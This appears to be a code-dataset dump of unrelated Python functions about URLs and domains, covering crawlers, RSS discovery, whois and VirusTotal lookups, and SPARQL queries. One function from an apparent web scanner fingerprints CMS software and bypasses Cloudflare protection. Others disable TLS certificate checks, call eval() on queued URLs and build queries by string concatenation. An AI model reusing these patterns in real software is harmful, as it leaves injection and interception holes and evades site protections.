cursor.execute(sql_statement, {'d':domain_url})\r\n page = cursor.fetchone()\r\n except:\r\n cursor.close()\r\n db.close()\r\n raise RuntimeError(\"An Exception happened with the Database, make sure you are connected\")\r\n cursor.close()\r\n db.close()\r\n return page","def analyze(url):\n\n #Note : Using the function to count repeated words and sorted by value\n\n print('\\n\\nVisiting',url)\n print('The most 25 common word')\n print('\\n{:30} {:6}\\n'.format('Word','Count'))\n\n content = urlopen(url).read().decode()\n collector = Collector(url)\n collector.feed(content)\n urls = collector.getLinks()\n\n words_lst = collector.getdata()\n print(words_lst)\n # word_count = Counter(words_lst) # use collection\n # most_25_common = word_count.most_common(25) #\n\n word_count = frequency(words_lst)\n sorted_word_count = sorted(word_count.items(), key = lambda x : x[1],reverse= True)\n\n for word,count in sorted_word_count[:25]:\n print ('{:30}{:5}'.format(word,count))\n\n #return word_count\n\n # for word,count in most_25_common:\n # print('{:30} {:5}'.format(word,count))\n # return urls","def get_pages_count(link_headers):\n last_header = link_headers.get('last')\n if last_header:\n return int(parse_qs(urlparse(last_header['url']).query)['page'][0])\n return 1","def hash_entries(entries):\n d = dict()\n for e in entries:\n uri = e[\"uri\"]\n domain = re.match(\"^/view\\d*/(.*)$\", uri).group(1)\n if domain:\n visitor_id = e[\"visitor_id\"]\n if d.has_key(domain):\n store_page_entries = d[domain]\n store_page_entries.append(visitor_id)\n else:\n d[domain] = [visitor_id]\n print \"Retrieved {0} unique domains.\".format(len(d))\n return d","def select_unscrapped_page(domain):\r\n db = connect()\r\n cursor = db.cursor()\r\n pages = None\r\n sql_statement = \"\"\"\r\n SELECT page_url\r\n FROM on_progress_pages INNER JOIN on_progress_domains ON on_progress_pages.domain_id = on_progress_domains.domain_id\r\n WHERE on_progress_pages.is_scrapped = 0 AND on_progress_domains.url = %(d)s\r\n \"\"\"\r\n try:\r\n cursor.execute(sql_statement, {'d':domain})\r\n pages = cursor.fetchall()\r\n\r\n except:\r\n cursor.close()\r\n db.close()\r\n raise RuntimeError(\"An Exception happened with the Database, make sure you are connected\")\r\n cursor.close()\r\n db.close()\r\n return pages","def info(request, base62_id):\n from urlparse import urlparse\n key = base62.to_decimal(base62_id)\n link = get_object_or_404(Link, pk = key)\n values = default_values(request)\n values['link'] = link\n values[\"stats\"] = link.stat_set.all()\n net_locs = dict()\n for stat in values[\"stats\"]:\n if stat.http_referer:\n o = urlparse(stat.http_referer)\n ref = str(o.netloc)\n else:\n ref = \"No Referer\"\n net_locs[ref] = net_locs.get(ref, 0) + 1\n \n refs = []\n counts = [] \n domains = []\n for domain in net_locs:\n counts.append(net_locs[domain])\n refs.append(domain)\n domains.append(dict(domain=domain,count=net_locs[domain]))\n values[\"domains\"] = domains \n values[\"refs\"] = refs\n values[\"counts\"] = counts \n return render_to_response(\n 'shortener/link_info.html',\n values,\n context_instance=RequestContext(request))","def _process_dbxref(self):\n\n raw = '/'.join((self.rawdir, 'dbxref'))\n logger.info(\"processing dbxrefs\")\n line_counter = 0\n\n with open(raw, 'r') as f:\n filereader = csv.reader(f, delimiter='\\t', quotechar='\\\"')\n f.readline() # read the header row; skip\n for line in filereader:\n (dbxref_id, db_id, accession, version, description, url) = line\n # dbxref_id\tdb_id\taccession\tversion\tdescription\turl\n # 1\t2\tSO:0000000\t\"\"\n\n db_ids = { # the databases to fetch\n 50: 'PMID', # pubmed\n 68: 'RO', # obo-rel\n 71: 'FBdv', # FBdv\n 74: 'FBbt', # FBbt\n # 28:, # genbank\n 30: 'OMIM', # MIM\n # 38, # ncbi\n 75: 'ISBN', # ISBN\n 46: 'PMID', # PUBMED\n 51: 'ISBN', # isbn\n 52: 'SO', # so\n # 76, # http\n 77: 'PMID', # PMID\n 80: 'FBcv', # FBcv\n # 95, # MEDLINE\n 98: 'REACT', # Reactome\n 103: 'CHEBI', # Chebi\n 102: 'MESH', # MeSH\n 106: 'OMIM', # OMIM\n 105: 'KEGG-path', # KEGG pathway\n 107: 'DOI', # doi\n 108: 'CL', # CL\n 114: 'CHEBI', # CHEBI\n 115: 'KEGG', # KEGG\n 116: 'PubChem', # PubChem\n # 120, # MA???\n 3: 'GO', # GO\n 4: 'FlyBase', # FlyBase\n # 126, # URL\n 128: 'PATO', # PATO\n # 131, # IMG\n 2: 'SO', # SO\n 136: 'MESH', # MESH\n 139: 'CARO', # CARO\n 140: 'NCBITaxon', # NCBITaxon\n # 151, # MP ???\n 161: 'DOI', # doi\n 36: 'BDGP', # BDGP\n # 55, # DGRC\n # 54, # DRSC\n # 169, # Transgenic RNAi project???\n 231: 'RO', # RO ???\n 180: 'NCBIGene', # entrezgene\n # 192, # Bloomington stock center\n 197: 'UBERON', # Uberon\n 212: 'ENSEMBL', # Ensembl\n # 129, # GenomeRNAi\n 275: 'PMID', # PubMed\n 286: 'PMID', # pmid\n 264: 'HGNC',\n # 265: 'OMIM', # OMIM_Gene\n 266: 'OMIM', # OMIM_Phenotype\n 300: 'DOID', # DOID\n 302: 'MESH', # MSH\n 347: 'PMID', # Pubmed\n }\n\n if accession.strip() != '' and int(db_id) in db_ids:\n # scrub some identifiers here\n m = re.match(\n r'(doi|SO|GO|FBcv|FBbt_root|FBdv|FBgn|FBdv_root|FlyBase|FBbt):',\n accession)\n if m:\n accession = re.sub(m.group(1)+r'\\:', '', accession)\n elif re.match(\n r'(FlyBase miscellaneous CV|cell_lineprop|relationship type|FBgn$)',\n accession):\n continue\n elif re.match(r'\\:', accession): # starts with a colon\n accession = re.sub(r'\\:', '', accession)\n elif re.search(r'\\s', accession):\n # skip anything with a space\n # logger.debug(\n # 'dbxref %s accession has a space: %s',\n # dbxref_id, accession)\n continue\n\n if re.match(r'http', accession):\n did = accession.strip()\n else:\n prefix = db_ids.get(int(db_id))\n did = ':'.join((prefix, accession.strip()))\n if re.search(r'\\:', accession) and prefix != 'DOI':\n logger.warning(\n 'id %s may be malformed; skipping', did)\n\n self.dbxrefs[dbxref_id] = {db_id: did}\n\n elif url != '':\n self.dbxrefs[dbxref_id] = {db_id: url.strip()}\n else:\n continue\n\n # the following are some special cases that we scrub\n if int(db_id) == 2 \\\n and accession.strip() == 'transgenic_transposon':\n # transgenic_transposable_element\n self.dbxrefs[dbxref_id] = {db_id: 'SO:0000796'}\n\n line_counter += 1\n\n return","def retrieveUrlfromStackOverFlowfor(query):\n\n\n\tfileLog = open(\"DATA/selectedUrl.log\", \"w\")\n\n\t# Url Generation\n\tprefix = \"http://stackoverflow.com/questions/\"\n\tfor number in range(1, 200):\n\t\tgeneratedUrl = prefix + str(number) + \"/\"\n\n\t\t# Get title of the page\n\t\tpage = requests.get(generatedUrl)\n\t\ttree = html.fromstring(page.content)\n\t\ttitle = tree.xpath('//title/text()')\n\t\ttitleInArray = title[0].split('-')\n\n\t\t# Scan Subject\n\t\tif titleInArray[0] != \"Page Not Found \":\n\t\t\tmainSubject = titleInArray[0]\n\t\t\tprecision = titleInArray[1]\n\n\t\t\tfor mesh in mainSubject.split(\" \"):\n\t\t\t\tif mesh.lower() == query.lower():\n\t\t\t\t\tprint generatedUrl\n\t\t\t\t\tfileLog.write(generatedUrl+\"\\n\")\n\n\t\t\tfor subMesh in precision.split(\" \"):\n\t\t\t\tif subMesh.lower() == query.lower():\n\t\t\t\t\tprint generatedUrl\n\t\t\t\t\tfileLog.write(generatedUrl+\"\\n\")\n\t\n\tfileLog.close()\n\n\treturn 0","def process_crawled_urls(self, webhost_map):\n\n for url, status_code in self.crawled_urls.items():\n # store the URL's path in the web host map under the URL's status code\n status_code_str = str(status_code)\n parsed_url = urllib.parse.urlparse(url)\n if status_code_str not in webhost_map:\n webhost_map[status_code_str] = {}\n if parsed_url.path not in webhost_map[status_code_str]:\n webhost_map[status_code_str][parsed_url.path] = {}\n cur_node = webhost_map[status_code_str][parsed_url.path]\n\n # if a (GET) query is present, add its parameters to the web host map\n if parsed_url.query:\n get_params = get_query_params(parsed_url.query)\n if get_params:\n if \"GET\" not in cur_node:\n cur_node[\"GET\"] = []\n for param in get_params:\n if param not in cur_node[\"GET\"]:\n cur_node[\"GET\"].append(param)\n\n if any(val for val in get_params.values()):\n if \"instances\" not in cur_node:\n cur_node[\"instances\"] = []\n\n if not any(i.get(\"GET\", {}) == get_params for i in cur_node[\"instances\"]):\n instance = {\"GET\": get_params, \"POST\": {}, \"cookies\": {}}\n cur_node[\"instances\"].append(instance)","def _process_previous_resolutions(ip_record, ti_prov):\n if \"VirusTotal\" in ti_prov.loaded_providers:\n ip_ti_results = ti_prov.result_to_df(\n ti_prov.lookup_ioc(ip_record[\"IP Address\"][0], providers=[\"VirusTotal\"])\n )\n try:\n last_10 = ip_ti_results.T[\"VirusTotal\"][\"RawResult\"][\"resolutions\"][:10]\n prev_domains = [record[\"hostname\"] for record in last_10]\n except TypeError:\n prev_domains = None\n else:\n prev_domains = (\n \"Unknown - VirusTotal provider required for previous resolution details.\"\n )\n ip_record[\"Last 10 resolutions\"] = [prev_domains]\n return ip_record","def create_dns_dictionary(self, path_tracefile):\n responses = self.get_dns_responses(path_tracefile)\n dns_dict = dict()\n for response in responses:\n for x in range(response[DNS].ancount): # answer count, how many IP adresses are returned for the query\n try: # answer count could also include 'DNS SRV Resource Record' which does not have a 'rrname' attribute so ancount is wrong if there is such a record -> TODO get amount of DNSRR instead of using ancount\n domain = getattr(response[DNSRR][x], 'rrname').decode(\"utf-8\") # domain (this is returned in bytes so decode)\n ip = getattr(response[DNSRR][x], 'rdata') # IP adres of the domain, TODO make this work for multiple ip adresses for one domain (Test with [0] at end)\n dns_dict[ip] = domain[:-1] #remove last char '.' \n except:\n continue\n return dns_dict","def wanted_pages(self):\n wanted = defaultdict(int)\n for doc in self.index.run_query(self.name, query.Every('wanted'), limit=8000):\n for link in doc['wanted'].split(' '):\n wanted[link.replace('%20', ' ')] += 1\n items = [(count, link) for link, count in wanted.items()]\n items.sort(reverse=True)\n return items","def _domain_whois_record(domain, ti_prov):\n dom_record = pd.DataFrame()\n whois_result = whois(domain)\n if whois_result.domain_name is not None:\n # Create domain record from whois data\n dom_record = pd.DataFrame(\n {\n \"Domain\": [domain],\n \"Name\": [whois_result.get(\"name\", None)],\n \"Org\": [whois_result.get(\"org\", None)],\n \"DNSSec\": [whois_result.get(\"dnssec\", None)],\n \"City\": [whois_result.get(\"city\", None)],\n \"State\": [whois_result.get(\"state\", None)],\n \"Country\": [whois_result.get(\"country\", None)],\n \"Registrar\": [whois_result.get(\"registrar\", None)],\n \"Status\": [whois_result.get(\"status\", None)],\n \"Created\": [whois_result.get(\"creation_date\", None)],\n \"Expiration\": [whois_result.get(\"expiration_date\", None)],\n \"Last Updated\": [whois_result.get(\"updated_date\", None)],\n \"Name Servers\": [whois_result.get(\"name_servers\", None)],\n }\n )\n ns_domains = []\n\n # Identity domains popularity with Open Page Rank\n if \"OPR\" in ti_prov.loaded_providers:\n page_rank = ti_prov.result_to_df(\n ti_prov.lookup_ioc(domain, providers=[\"OPR\"])\n )\n if page_rank[\"RawResult\"][0]:\n page_rank_score = page_rank[\"RawResult\"][0][\"response\"][0][\n \"page_rank_integer\"\n ]\n else:\n page_rank_score = 0\n dom_record[\"Page Rank\"] = [page_rank_score]\n else:\n nb_markdown(\"OPR TI provider needed to calculate Page Rank score.\")\n dom_record[\"Page Rank\"] = [\"Not known - OPR provider needed\"]\n\n # Get a list of subdomains for the domain\n if \"VirusTotal\" in ti_prov.loaded_providers:\n url_ti = ti_prov.result_to_df(\n ti_prov.lookup_ioc(domain, providers=[\"VirusTotal\"])\n )\n try:\n sub_doms = url_ti[\"RawResult\"][0][\"subdomains\"]\n except (TypeError, KeyError):\n sub_doms = \"None found\"\n dom_record[\"Sub Domains\"] = [sub_doms]\n else:\n nb_markdown(\"VT TI provider needed to get sub-domains.\")\n dom_record[\"Page Rank\"] = [\"Not known - OPR provider needed\"]\n\n # Work out domain entropy to identity possible DGA\n dom_ent = entropy(domain)\n dom_record[\"Domain Name Entropy\"] = [dom_ent]\n\n # Remove duplicate Name Server records\n for server in whois_result[\"name_servers\"]:\n _, ns_domain, ns_tld = tldextract.extract(server)\n ns_dom = ns_domain.lower() + \".\" + ns_tld.lower()\n if domain not in ns_domains:\n ns_domains.append(ns_dom)\n return dom_record","def queryWikipediaIdRedirected(label):\n if label is None: return None\n sparql = SPARQLWrapper(dbpurl)\n sparql.setReturnFormat(JSON)\n sparql_query = '''\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nSELECT DISTINCT ?pageID WHERE {\n <http://dbpedia.org/resource/''' + label + '''> <http://dbpedia.org/ontology/wikiPageRedirects> ?tgt .\n ?tgt <http://dbpedia.org/ontology/wikiPageID> ?pageID .\n} '''\n sparql.setQuery(sparql_query)\n res = sparql.query().convert()\n retVal = []\n for r in res['results']['bindings']:\n retVal.append(r['pageID']['value'])\n return retVal[0] if retVal else None","def probe(urlbase, fileno, ip):\n\n cat = urlbase[0]\n subcat = urlbase[1]\n\n r = redis.Redis(ip)\n #FETCH\n cur = 0\n \"\"\"\n This process is error prone. Try several times to fetch a website.\n Protection against a few different errors:\n - one-off connection or HTTP errors.\n - crawler traps, where the site hangs and does not return response.\n - all other errors are fatal, and the site is skipped.\n \"\"\"\n # Fetch the website containing the feed.\n while cur < HTTP_RETRIES:\n try:\n page = urllib2.urlopen(urlbase[-1])\n break\n except urllib2.URLError as e:\n #This exception likely means the server hanged in giving a response.\n logging.error(\"Error in discovery for url: \" + urlbase + \" \" + str(e))\n TRAP = open(prefix + \"meta/access_traps-%s.log\" % str(os.getpid()), \"a\")\n print >> TRAP, urlbase\n TRAP.close()\n cur += 1\n if cur == HTTP_RETRIES: # timeout on all tries.\n logging.error(\"Discovery timed out for URL %s.\" % urlbase)\n raise Exception(\"Exceeded HTTP_RETRIES without success.\")\n\n # Parse the HTML for the website to find the RSS feed links.\n root = parse(page).getroot()\n #Use the autodiscovery standard, ignoring comment feeds.\n links = root.xpath('//link[@type=\"application/rss+xml\" and ' +\n 'not(contains(@title, \"comment\")) and not(contains(@href, \"comment\"))]')\n if len(links) > 0:\n #at least one feed was found.\n OUT = open(prefix + \"meta/access_ready-%s.log\" % str(os.getpid()), \"a\")\n url = links[0].get('href')\n #Just take the first URL, and convert it to an absolute link.\n if not url.startswith('http://') and not url.startswith('feed://') and \\\n not url.startswith('https://'):\n url = urlbase + url\n logging.debug(\"Found URL for %s. The URL is %s\" % (urlbase, url))\n print >> OUT, urlbase, url, links[0].get('title').encode('utf-8')\n OUT.close()\n r.rpush('good_url', url)\n else:\n #1) Webmaster chose not to abide by the standard\n #2) Webmaster provided bad URL that does not contain feed links.\n NOLINK = open(prefix + \"meta/access_nolink-%s.log\"\n % str(os.getpid()), \"a\") # No link found.\n print >> NOLINK, urlbase\n NOLINK.close()\n logging.error(\"No RSS URLs found for %s.\" % urlbase)\n raise Exception(\"No URLs detected.\")\n return False\n\n # Now fetch the actual RSS feed.\n cur = 0\n while cur < HTTP_RETRIES:\n cur += 1\n try:\n resp = urllib2.urlopen(url)\n content = resp.read()\n RAW = open(feeds_path + \"%s-%s_%s-%s.xml\" % (cat.replace(\" \", \"\"),\n subcat.replace(\" \", \"\"), str(os.getpid()), str(fileno)), \"w\")\n try:\n #DUMP THE FEED TO DISK\n print >> RAW, content\n except UnicodeError:\n print >> RAW, content.encode('utf-8')\n RAW.close()\n logging.debug(\"Saved RSS feed: %s.\" % url)\n #MAP THIS FEED URL TO A PID AND CURSOR.\n KEY = open(feeds_path + \"key-%s.dat\" % os.getpid(), \"a\")\n print >> KEY, ' '.join([url, str(fileno)])\n KEY.close()\n break\n except Exception, e:\n #Just tell the user and try again.\n logging.error(\"Exception occurred fetching %s: %s\" % (url, str(e)))\n pass\n break\n else:\n FAIL = open(prefix + \"meta/failed-%s.log\" % str(os.getpid()), \"a\")\n print >> FAIL, url\n FAIL.close()\n logging.error(\"I give up. Could not fetch RSS feed: %s\" % url)\n raise Exception(\"RSS feed found but could not be fetched.\")\n return True","def probe_worker(ip, thread):\n fileno = 0\n r = redis.Redis(ip)\n while True:\n url = r.lpop('blogs') # pull URL off queue.\n if not url:\n break # means we are done.\n try:\n content = probe(eval(url), fileno, ip) # does the work.\n r.incr(\"count_%d\" % thread)\n if content:\n r.incr('successes')\n else:\n r.incr('errors')\n except Exception, e:\n # TODO(ryan): What kind of error occurred?\n r.incr('errors')\n logging.info(\"THREAD %d; Error occured: %s, URL: %s\" % (thread, e, url))\n ERR = open(prefix + \"meta/errors-%s.log\" % str(os.getpid()), \"a\")\n print >> ERR, url, e\n ERR.close()\n r.rpush('error_messages', '|'.join([url, str(e)]))\n fileno += 1","def __wiki_counts(self):\n\n num_lines = 0\n num_valid_hyperlinks = 0\n disambiguation_ent_errors = 0\n\n print(\"Calculating Wikipedia mention/entity occurrences\")\n\n last_processed_id = -1\n exist_id_found = False\n\n wiki_anchor_files = os.listdir(\n os.path.join(self.base_url, self.wiki_version, \"basic_data/anchor_files/\")\n )\n for wiki_anchor in wiki_anchor_files:\n wiki_file = os.path.join(\n self.base_url,\n self.wiki_version,\n \"basic_data/anchor_files/\",\n wiki_anchor,\n )\n\n with open(wiki_file, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n num_lines += 1\n\n if num_lines % 5000000 == 0:\n print(\n \"Processed {} lines, valid hyperlinks {}\".format(\n num_lines, num_valid_hyperlinks\n )\n )\n if '<doc id=\"' in line:\n id = int(line[line.find(\"id\") + 4 : line.find(\"url\") - 2])\n if id <= last_processed_id:\n exist_id_found = True\n continue\n else:\n exist_id_found = False\n last_processed_id = id\n else:\n if not exist_id_found:\n (\n list_hyp,\n disambiguation_ent_error,\n print_values,\n ) = self.__extract_text_and_hyp(line)\n\n disambiguation_ent_errors += disambiguation_ent_error\n\n for el in list_hyp:\n mention = el[\"mention\"]\n ent_wiki_id = el[\"ent_wikiid\"]\n\n num_valid_hyperlinks += 1\n if mention not in self.wiki_freq:\n self.wiki_freq[mention] = {}\n\n if (\n ent_wiki_id\n in self.wikipedia.wiki_id_name_map[\"ent_id_to_name\"]\n ):\n if mention not in self.mention_freq:\n self.mention_freq[mention] = 0\n self.mention_freq[mention] += 1\n\n ent_name = self.wikipedia.wiki_id_name_map[\n \"ent_id_to_name\"\n ][ent_wiki_id].replace(\" \", \"_\")\n if ent_name not in self.wiki_freq[mention]:\n self.wiki_freq[mention][ent_name] = 0\n self.wiki_freq[mention][ent_name] += 1\n\n print(\n \"Done computing Wikipedia counts. Num valid hyperlinks = {}\".format(\n num_valid_hyperlinks\n )\n )","def extract_domains(self, resp):\n return","def aggregate(entry):\n file = urlopen(entry, context=ssl_context)\n tree = ElementTree.parse(file)\n\n for sitemap in tree.getroot().findall(TAGS['SITEMAP']):\n location = sitemap.find(TAGS['LOCATION'])\n if location is not None:\n yield location.text\n\n file.close()","def number_of_links(corpus, page):\n return len(corpus[page]) if corpus[page] else len(corpus)","def cms_identifier(self):\n engine.setup(self)\n \n targets = [target for target in self.args.target if target.strip()]\n error_count = 0\n for url in targets:\n self.sanitize_url(url)\n msg = \"Getting source for {}\".format(self.url); report.low(msg)\n headers = {'User-Agent': \"Mozilla/5.0 (X11; Fedora; Linux i686;\" +\\\n\t\t\t\"rv:40.0) Gecko/20100101 Firefox/40.1\"}\n response = None\n try:\n response = requests.get(self.url, headers=headers, verify=False)\n if \"Checking your browser before accessing\" in response.content:\n msg =\"Site: {} is using cloudflare. \"\\\n \"Trying to bypass cloudflare protection.\".format(self.url);report.medium(msg)\n #damn cloudflare, lets see if how to circumvert it. \n #TODO: Ask for permision since executing JS might be a security issue.\n # https://github.com/Anorov/cloudflare-scrape\n cfscraper = cfscrape.create_scraper()\n response = cfscraper.get(self.url)\n except Exception as e:\n #print e\n error_count += 1\n msg=\"Something went wrong while getting ({}), moving on...\".format(self.url);report.error(msg)\n if error_count > 3:\n msg = \"Too many error. Exiting...\"; report.error(msg)\n sys.exit()\n \n framework, site = engine.pwn(self,response)\n if framework:\n report.info(\"This is a website based on: {0} from {1}\".format(framework, site))\n else:\n report.high(\"Failed to determine CMS of site.\")","def search(url, domain_list):\n resp = requests.get(url)\n if not resp.json().get('hits', '').get('hits', []):\n return\n for hit in resp.json()[\"hits\"][\"hits\"]:\n domain = hit.get(\"_source\", {}).get(\"domain\", \"\")\n if not domain:\n continue\n if not domain in domain_list:\n domain_list.append(domain)\n #print(hit[\"_source\"].get(\"title\", \"\").encode(\"ascii\",\"ignore\"))\n if domain not in ALLOWED_DOMAINS:\n print(domain)","def collect_web_sites(self):\n min_distance = None\n max_sequence_match = None\n index_string_match = index_distance = None\n self.collection = collections.OrderedDict()\n for i_web, web_row in self.company_urls_df.iterrows():\n # get the url first from the websites table which list all the urls belonging to\n # one kvk search\n url = web_row[URL_KEY]\n\n # skip all none uls and also the filtered urls\n if url is None or url == \"\":\n logger.debug(\"Skipping url because it is None or empty\")\n continue\n if self.filter_urls and url not in self.filter_urls:\n logger.debug(f\"filter urls is given so skip {url}\")\n continue\n\n # store a list of UrlInfo object with a minimum info the url which was tested\n url_info = UrlInfo(index=i_web, url=url)\n self.collection[url] = url_info\n\n print_banner(f\"Processing {url}\")\n\n # quick check if we can processes this url based on the country code\n suffix = url_info.url_extract.suffix\n if suffix in self.exclude_extensions.index:\n url_info.outside_nl = True\n logger.info(f\"Web site {url} has suffix '.{suffix}' Continue \")\n\n # get the processing time of the last time you did this url from the table\n try:\n processing_time = self.urls_df.loc[url, DATETIME_KEY]\n except KeyError:\n processing_time = None\n\n if self.force_process or self.rescan_missing_urls:\n url_info.needs_update = True\n else:\n url_info.needs_update = check_if_url_needs_update(processing_time=processing_time,\n current_time=self.current_time,\n older_time=self.older_time)\n if url_info.needs_update:\n # if the url needs update, store the current time\n url_info.processing_time = self.current_time\n else:\n url_info.processing_time = processing_time\n\n url_analyse = self.scrape_url_and_store_in_dataframes(url, url_info)\n\n url_info.url_analyse = url_analyse\n\n if url_analyse and not url_analyse.exists:\n self.logger.debug(f\"url '{url}'' does not exist\")\n continue\n\n # based on the company postcodes and kvknummer and web contents, make a ranking how\n # good the web sides matches the company\n match = UrlCompanyRanking(url, self.company_name_small,\n url_extract=url_info.url_extract,\n url_analyse=url_analyse,\n company_kvk_nummer=self.kvk_nr,\n company_postcodes=self.postcodes,\n threshold_string_match=self.threshold_string_match,\n threshold_distance=self.threshold_distance,\n logger=self.logger)\n\n url_info.match = match\n\n # update the min max\n if min_distance is None or match.distance < min_distance:\n index_distance = i_web\n min_distance = match.distance\n\n if max_sequence_match is None or match.string_match > max_sequence_match:\n index_string_match = i_web\n max_sequence_match = match.string_match\n\n self.logger.debug(\" * {} - {} - {}\".format(url, match.ext.domain,\n match.distance))\n\n if min_distance is None:\n self.company_urls_df = None\n elif index_string_match != index_distance:\n self.logger.warning(\n \"Found minimal distance for {}: {}\\nwhich differs from \"\n \"best string match {}: {}\".format(index_distance,\n self.collection[url].url,\n index_string_match,\n self.collection[url].url))","def trip_report_builder(df):\n count = 0\n for row in range(len(df)):\n if df['numReports'][row]:\n title = df['hike_name'][row]\n url = df['url'][row]\n iterate_all_reports(title, url)\n save_trail_html(title, url)\n count += 1\n print(f'Unique Trails {count}')\n else:\n continue\n return None","def dl_report(report_url, dest_path, max_connections=4):\n if len(report_url) == 0:\n raise Exception(\"Empty url supplied\")\n\n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n\n base_url = \"{0}/\".format(report_url)\n try:\n response = urlopen(report_url)\n except URLError as e:\n print(\"\\r\\nURLError: {0}!\".format(e))\n print(\"Trying again in 60 seconds!\", end='\\r')\n time.sleep(60)\n print(\"Trying again now!\" + (' ' * 10), end='\\r')\n response = urlopen(report_url)\n html = response.read()\n soup = BeautifulSoup(html, 'lxml')\n\n children = soup.find_all('a')\n edges = []\n traversed = []\n for child in children:\n if child.has_attr('href'):\n edge = child.get('href')\n if edge.find(\"match\") != -1:\n child['href'] = os.path.basename(edge)\n if edge == child['href']:\n edge = base_url + edge\n if edge not in edges:\n edges.append(edge)\n\n traversed.append(report_url)\n url_queue = queue.Queue()\n threads = []\n num_of_threads = min(max_connections, len(edges))\n for i in range(num_of_threads):\n worker = threading.Thread(target=dl_worker, args=[url_queue, base_url, dest_path, traversed])\n worker.setDaemon(True)\n worker.start()\n threads.append(worker)\n for edge in edges:\n url_queue.put(edge)\n with open(os.path.join(dest_path, \"index.html\"), mode='wb') as ofile:\n ofile.write(soup.encode(soup.original_encoding))\n url_queue.join()\n for i in range(num_of_threads):\n url_queue.put(None)\n for t in threads:\n t.join()","def hosting_history(self, domain):\n return self.apiquery('/v1/{}/hosting-history/'.format(domain))","def by_navigations(self):\n\t\t\n\t\turl_format = r'^\\s*(?:(?P<protocol>\\w+)://)?(?P<domain>[\\w\\d\\-\\.]+)(?::(?P<port>\\d+))?/?(?P<everything_else>.*)$'\n\t\tnavigations = {}\n\t\tfor line in self.source.lines:\n\t\t\ttry:\n\t\t\t\tif self.filter(line):\n\t\t\t\t\tresult = re.match(url_format, line.content.url)\n\t\t\t\t\tif line.content.source_address not in navigations.keys():\n\t\t\t\t\t\tnavigations[line.content.source_address] = {}\n\t\t\t\t\tif line.content.user not in navigations[line.content.source_address]:\n\t\t\t\t\t\tnavigations[line.content.source_address][line.content.user] = {}\n\t\t\t\t\tif result.group('domain') not in navigations[line.content.source_address][line.content.user]:\n\t\t\t\t\t\tnavigations[line.content.source_address][line.content.user][result.group('domain')] = 0\n\t\t\t\t\tnavigations[line.content.source_address][line.content.user][result.group('domain')] += int(line.content.size)\n\t\t\texcept AttributeError:\n\t\t\t\tpass\n\t\t\n\t\tflat_navigations = []\n\t\tfor address in navigations.keys():\n\t\t\t# node = socket.getfqdn(address)\n\t\t\tnode = address\n\t\t\tfor user in navigations[address].keys():\n\t\t\t\tfor domain in navigations[address][user].keys():\n\t\t\t\t\tflat_navigations.append([user, domain, node, address, navigations[address][user][domain]])\n\t\t\n\t\t# What happend here? Why an exception handler is needed?\n\t\ttry:\n\t\t\tflat_navigations.sort(key = lambda t: t[4], reverse = True)\n\t\texcept (e):\n\t\t\tpass\n\t\t\n\t\treturn flat_navigations","def new_trip_report_builder(df,last_scrape):\n count = 0\n for row in range(len(df)):\n if df['numReports'][row]:\n title = df['hike_name'][row]\n url = df['url'][row]\n iterate_new_reports(title, url,last_scrape)\n count += 1\n print(f'Unique Trails {count}')\n else:\n continue\n return None","def fetch_web_cont(self):\n with open(self.input_file) as input_file:\n data = yaml.load(input_file, yaml.FullLoader)\n url_list = data.get(self.url_access)\n regex_list = data.get(self.regex_access)\n\n print('Fetching data:')\n\n for url in url_list:\n # This restores the same behavior as before.\n # Enabling certificate verification by default for stdlib http clients\n context = ssl._create_unverified_context()\n run_time = datetime.now().strftime(\"Date: %d-%m-%Y Time: %I:%M:%S:%f_%p\")\n start = time.perf_counter()\n web_resp = request.urlopen(url, context=context)\n respData = web_resp.read()\n resp_time = '%0.2f s' % (time.perf_counter() - start)\n\n for regex in regex_list:\n contents = re.findall(regex, str(respData))\n with open(self.output_file, 'a') as file:\n if not contents:\n print(run_time, ' | URL: ', url, '| content not found with this regex: ', regex,\n file=file)\n\n else:\n for content in contents:\n print(run_time, ' | URL: ', url, ' | Response Time: ', resp_time,\n url, ' | Contents: ', content, file=file)\n \n with open(self.output_file, 'a') as file:\n \n print('\\n#################################\\n', file=file)","def harvest_urls():\n manifest = []\n category = {}\n subcategory = {}\n directoryfiles = \"%s/directory_listing/\" % config['PREFIX']\n # ^^ the directory containing the HTML from the Technorati site.\n\n #Set up directory for intermediate data: MANIFEST\n #MANIFEST contains: Category, Subcategory, Title and URL.\n #and is a roster of URLs of blogs to autodiscover.\n if not os.path.exists(prefix + \"meta\"):\n os.mkdir(prefix + \"meta\")\n else:\n #TO DO: What if meta exists but MANIFEST got deleted?\n logging.info(\"Blog URLs already harvested. Skipping...\")\n return\n\n #Iterate through each file in the directory and extract blog URLs.\n for infile in glob.glob(os.path.join(directoryfiles, '*.html')):\n logging.info(\"Harvesting blog URLs from %s.\" % infile)\n dirpage = file(infile)\n root = parse(dirpage).getroot()\n #Rather than infer the category from the filename, just extract\n #it from the file. Not the best way to do this, hit is minimal.\n\tpieces = infile.split('/')[-1].split('_')\n\tcat = pieces[1]\n\tsubcat = None\n\tif len(pieces) == 4:\n\t\tsubcat = pieces[2]\n blogs = root.xpath(\"//td[@class='site-details']\")\n #Iterate through all of the blogs listed on the page.\n for blog in blogs:\n url = blog.xpath(\"a[@class='offsite']\")[0].text\n title = blog.xpath('h3/a')[0].text\n OUT = open(prefix + \"meta/MANIFEST\", \"a\")\n #Store the category of the blog.\n category[url] = cat\n if subcat:\n output = [cat, subcat, title.encode('utf-8').replace(' ', ' '), url]\n subcategory[url] = subcat\n print >> OUT, ' '.join(output)\n else:\n output = [cat, \"NA\", title.encode('utf-8').replace(' ', ' '), url]\n print >> OUT, '\\t'.join(output)\n manifest.append(output)\n OUT.close()\n # This is a hack to get around having to use a database.\n # TODO: Reimplement using a database.\n BLOGCATS = open(prefix + \"blogcats.pickle\", \"w\")\n cPickle.dump(category, BLOGCATS)\n BLOGCATS.close()\n return manifest","def count_domain_certs_since(domain, days=7):\n all_certs = fetch_domain_certs(domain)\n count = 0\n now = jstime.utcnow()\n domains = set()\n start_date = now.shift(days=-1 * days)\n for cert in all_certs:\n # rate limit is 50 certs every week. so we check how many certs were issued within the last 7 days\n # we will check using date only. entry_timestamp example \"2020-08-23T12:15:27.833\"\n t = jstime.Arrow.strptime(cert[\"entry_timestamp\"].split(\"T\")[0], \"%Y-%m-%d\").to(\"utc\")\n subdomain = cert[\"name_value\"].split(\".\")[0]\n if t >= start_date:\n domains.add(subdomain)\n count = len(domains)\n return count","def get_number_of_pages():\n first_page_link = URL.format(\"1\")\n 